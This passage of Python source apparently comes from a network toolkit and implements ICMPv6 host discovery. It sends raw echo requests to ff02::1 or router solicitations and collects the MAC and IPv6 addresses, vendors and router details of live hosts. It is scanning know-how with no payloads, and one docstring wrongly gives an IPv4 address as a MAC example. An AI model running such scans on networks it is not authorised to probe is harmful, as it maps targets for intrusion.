                        # Check ICMPv6 Echo (ping) reply identifier
                        if icmpv6_packet_dict[
                                'identifier'] == self.icmpv6_identifier:
                            self.results.append({
                                'mac-address':
                                ethernet_header_dict['source'],
                                'ip-address':
                                ipv6_header_dict['source-ip']
                            })

                except AssertionError:
                    pass

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        self.your_mac_address: str = self.base.get_interface_mac_address(
            self.network_interface)
        self.your_ipv6_link_address: str = self.base.get_interface_ipv6_link_address(
            self.network_interface)

        send_socket: socket = socket(AF_PACKET, SOCK_RAW)
        send_socket.bind((self.network_interface, 0))

        if self.router_search:
            request: bytes = self.icmpv6.make_router_solicit_packet(
                ethernet_src_mac=self.your_mac_address,
                ipv6_src=self.your_ipv6_link_address)

        else:
            request: bytes = self.icmpv6.make_echo_request_packet(
                ethernet_src_mac=self.your_mac_address,
                ethernet_dst_mac=self.target_mac_address,
                ipv6_src=self.your_ipv6_link_address,
                ipv6_dst='ff02::1',
                id=self.icmpv6_identifier)

        for _ in range(self.retry_number):
            send_socket.send(request)
            sleep(0.1)

        send_socket.close()

    # endregion

    # region Scanner
    def scan(self,
             network_interface: str = 'eth0',
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self.base.mac_address_validation(mac_address=target_mac_address,
                                             exit_on_failure=True)
            self.target_mac_address = target_mac_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        self.icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self.unique_results)):
                self.unique_results[result_index]['vendor'] = \
                    self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])
        # endregion

        # region Return results
        if len(self.unique_results) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self.network_interface)
                exit(1)
        return self.unique_results
        # endregion

    # endregion

    # region Search IPv6 router
    def search_router(
            self,
            network_interface: str = 'eth0',
            timeout: int = 3,
            retry: int = 3,
            exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'})
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        self.router_search = True
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Return IPv6 router information
        if len(self.router_info.keys()) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found IPv6 Router on interface: ' +
                    self.network_interface)
                exit(1)
        return self.router_info